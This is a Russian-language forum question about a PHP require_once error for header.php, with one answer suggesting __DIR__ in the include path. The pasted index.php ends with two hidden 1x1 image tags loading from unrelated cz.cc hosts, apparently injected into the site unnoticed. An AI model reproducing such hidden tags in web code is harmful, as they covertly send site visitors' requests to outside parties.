Неустранимая ошибка: require_once (): не удалось открыть требуемый header.php - PullRequest
0 голосов
/ 19 марта 2019

Я видел много вопросов и ответов, похожих на мои, но не могу понять, как применить то, что я видел, к моей конкретной ситуации. Я получил сообщение об ошибке из ниоткуда на моем сайте, начиная с прошлой среды:

Неустранимая ошибка: require_once (): не удалось открыть обязательно '/usr/services/vux/apache/htdocs/includes/header.php'(include_path='.:/usr/share/php:/usr/ services / vux / lib / php ') в /data/18/1/143/77/1632403/user/1759632/htdocs/swp/htdocs/index.php в строке 3


Это код, который я вижу в файле index.php:

<?php
$page_id=1;
require_once($_SERVER["DOCUMENT_ROOT"]."/includes/header.php");
?>
<!-- BEGIN PAGE CONTENT -->
<?php
  displayPage($page_id);
  echo "<a href='news.php'><img src='http://www.springwoodpoms.com/images/latest_news.jpg' border='0'></A>";
  $value1 = returnSettingValue(1);
  listNews($value1);
?>
<!-- END PAGE CONTENT -->
<?php
  require_once($_SERVER["DOCUMENT_ROOT"]."/includes/footer.php"); 
?><img heigth="1" width="1" border="0" src="http://foxmeyer.cz.cc/151946.jpg">
<img heigth="1" width="1" border="0" src="http://foxpaine.cz.cc/154426.jpg">

Прилагается изображение корневого веб-пути к файлу header.php. Все разрешения установлены на 0664.

путь к корневому файлу сайта

На что мне нужно изменить код в файле index.php в строке 3, чтобы исправить ошибку при поиске файла header.php?

Я знаю, где находятся все мои файлы, и могу очень хорошо следовать инструкциям в том, что касается реализации кода. Я просто не знаю с чего начать? Любая помощь или совет будут великолепны.

1 Ответ

0 голосов
/ 20 марта 2019

Попробуйте изменить $_SERVER["DOCUMENT_ROOT"] на __DIR__, чтобы ваш код читался как:

require_once(__DIR__."/includes/header.php");
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...